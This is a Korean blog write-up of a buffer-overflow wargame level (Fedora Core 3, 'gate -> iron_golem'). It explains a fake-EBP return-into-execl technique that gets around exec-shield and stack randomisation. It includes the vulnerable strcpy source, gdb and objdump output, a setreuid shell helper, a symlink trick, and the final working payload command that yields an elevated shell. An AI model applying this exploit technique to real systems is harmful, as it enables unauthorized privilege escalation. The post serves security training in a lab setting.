본문 바로가기

Computer Security/WarGame

[BOF원정대/Fedora3] gate -> iron_golem

이전 레드햇에서의 BOF원정대와 달라진점은 



 1. exec-shield : 스택에 존재하는 어셈블리어는 실행이 안됩니다. 즉, 쉘코드를 스택에 올려봐야 소용이 없습니다.


2. 랜덤스택: 스택의 주소가 계속 바뀌기때문에, 어짜피 스택의 한 지점으로 점프하기도 쉽지 않습니다.


3. 00 으로 시작되는 라이브러리 주소: 00(NULL)이 들어감으로써, 라이브러리 주소를 쓰는순간 스트링이 끊깁니다. 즉, 라이브러리 주소는 마지막에 딱 한번만 사용 가능합니다.


그렇다면, 이를 해결하기위해서 제가 사용할 방법은,


execl을 이용하고, fake ebp를 이용해서 GOT부분을 execl의 argument로서 사용할것입니다.


좀더 풀어서 설명하자면,


execl의 argument는 다음과 같습니다.

execl(실행할 파일 경로, 인자1, 인자2, ... , 인자n, NULL);


이 execl을 이용해서, [uid를 재설정하고 /bin/sh를 실행시키는 프로그램]을 실행시킬겁니다.

그 프로그램은 직접 간단히 코딩해서 컴파일해둡니다.


그리고, execl은 항상 마지막 argument가 NULL(0) 이어야 합니다.

그러면서, 그 argument의 주소가 랜덤이 아닌곳이어야겠죠.

그 주소가 바로 GOT부분입니다.


GOT부분을 보면 대충 ??????? ???????? 00000000


이런식으로 있을것이고, ebp를 조작해서 저 ????? 부분을 argument로 두고,

?????와 같은 이름의 심볼릭 링크를 만들어놔서, 쉘을 실행시키는 프로그램에 연결해두면 성공입니다.


이제 문제로 들어가면,


 /*

        The Lord of the BOF : The Fellowship of the BOF

        - iron_golem

        - Local BOF on Fedora Core 3

        - hint : fake ebp

*/


int main(int argc, char *argv[])

{

    char buffer[256];


    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }


    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}

iron_golem.c


소스는 아주 간단합니다. 단지 환경이 좀 까다롭죠.


우선, GOT의 주소를 구하고, fake ebp를 사용할 address를 기억해두겠습니다.


[gate@Fedora_1stFloor ~]$ objdump -h iron_golem


iron_golem:     file format elf32-i386


Sections:

Idx Name          Size      VMA       LMA       File off  Algn


......


 19 .got          00000004  08049614  08049614  00000614  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 20 .got.plt      0000001c  08049618  08049618  00000618  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 21 .data         0000000c  08049634  08049634  00000634  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 22 .bss          00000004  08049640  08049640  00000640  2**2

                  ALLOC

 23 .comment      00000126  00000000  00000000  00000640  2**0

                  CONTENTS, READONLY

 


objdump로 GOT의 주소를 확인해봅니다.


그리고 gdb로 그 주소를 확인해봅시다.


[gate@Fedora_1stFloor ~]$ gdb -q iron_golem

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) x/10x 0x8049618

0x8049618 <_GLOBAL_OFFSET_TABLE_>:      0x0804954c      0x00000000      0x00000000      0x080482ee

0x8049628 <_GLOBAL_OFFSET_TABLE_+16>:   0x080482fe      0x0804830e      0x0804831e      0x00000000

0x8049638 <__dso_handle>:       0x00000000      0x08049544 


그럼, 보시다시피 0x8049618부터 첫번째 인자라고 가정할때,


0x084954C가 첫번째 인자인 파일명이 되고,

세번째인자가 NULL이 되므로, argument로 사용하기에 완벽합니다.


그러므로, 저 argment를 사용하기위해 fake ebp를 써야하는데,

왜 fake ebp를 쓰냐면,

argument를 불러올때 ebp를 기준으로 불러오게됩니다.

ebp+8이 첫 argument이고, ebp+C가 두번째 argument이고, 이런식입니다.


그러므로, ebp를 0x8049618 - 8 = 0x8049610 으로 잡아둬야겠죠.


그리고 정확한 파일명을 알아야하기때문에, 0x804954C에 무엇이 들어있는지 보겠습니다.


(gdb) x/4x 0x804954C

0x804954c <_DYNAMIC>:   0x00000001      0x00000024      0x0000000c      0x080482c0


little endian 이므로, 읽으면, 0x01 0x00 0x00 0x00 0x24 이런식이 됩니다.


그렇다면, string은 마지막이 0x00(NULL) 이므로, string으로 본다면 "\x01" 이 되겠네요.

그렇다면 파일명은 "\x01"이 됩니다.


그리고 나중에 사용할 파일 shell.c를 만듭니다.


 int main()

{

        setreuid(geteuid(),geteuid());

        execl("/bin/sh","",0);

}


shell.c


shell.c 는 shell로 컴파일을 해두고


execl로 리턴시켜서 쉘을 획득해야하기 때문에, execl의 위치와 필요한 address를 가져오겠습니다.


[gate@Fedora_1stFloor ~]$ gdb -q iron_golem

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) b main

Breakpoint 1 at 0x80483d9

(gdb) r

Starting program: /home/gate/iron_golem

(no debugging symbols found)...(no debugging symbols found)...

Breakpoint 1, 0x080483d9 in main ()

(gdb) disas execl

Dump of assembler code for function execl:

0x007a5720 <execl+0>:   push   %ebp

0x007a5721 <execl+1>:   mov    %esp,%ebp

0x007a5723 <execl+3>:   lea    0x10(%ebp),%ecx

0x007a5726 <execl+6>:   push   %edi

0x007a5727 <execl+7>:   push   %esi

0x007a5728 <execl+8>:   push   %ebx

0x007a5729 <execl+9>:   sub    $0x1038,%esp

0x007a572f <execl+15>:  mov    0xc(%ebp),%eax



여기서 주의해야할점은 0x007a5720의 주소를 기억해둬야하는것이 아니라,

0x007a5723(execl+3)의 주소를 기억해둬야합니다.


왜냐하면 fake ebp를 사용해서 ebp를 강제로 설정할것인데,

첫 두줄은 ebp와 esp를 다시 세팅하는 장면이기때문입니다.


그러므로 리턴할 주소는 0x007a5723이 됩니다.


이제 마지막으로 심볼릭 링크만 걸면 끝납니다.


[gate@Fedora_1stFloor ~]$ ln -s shell `perl -e 'print "\x01"'`

[gate@Fedora_1stFloor ~]$ ls

?  iron_golem  iron_golem.c  shell  shell.c 


그리고 마지막으로 공격을 하는일만 남았네요.


근데 몇바이트만큼 채워야 하는지 알아야합니다.

fuzzing 을 해서 알아내는 방법도 있지만, 단순히 디버깅을 이용해 알아보겠습니다.


[gate@Fedora_1stFloor ~]$ gdb -q iron_golem

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) disas main

Dump of assembler code for function main:

0x080483d0 <main+0>:    push   %ebp

0x080483d1 <main+1>:    mov    %esp,%ebp

0x080483d3 <main+3>:    sub    $0x108,%esp

0x080483d9 <main+9>:    and    $0xfffffff0,%esp

0x080483dc <main+12>:   mov    $0x0,%eax

0x080483e1 <main+17>:   add    $0xf,%eax

0x080483e4 <main+20>:   add    $0xf,%eax

 ......


메인을 디스어셈 해보니, 로컬변수를 위해서 0x108 만큼 할당된것을 알수있습니다.

사실, 이 방법은 정확한 방법은 아니지만,

이번 문제에서는 로컬변수가 하나밖에 없기때문에, 0x108이 buf의 크기라고 보셔도 무방합니다.


0x108은 10진법으로 264개이기때문에, buf를 위해 264개의 문자를 채우면 됩니다.


즉 공격코드는

./iron_golem ["A"*264][GOT address - 8][execl address + 3]

이 되겠네요.


[gate@Fedora_1stFloor ~]$ ./iron_golem `python -c 'print "A"*264+"\x10\x96\x04\x08"+"\x23\x57\x7a\x00"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#Wz

bash-3.00$ my-pass

euid = 501

blood on the fedora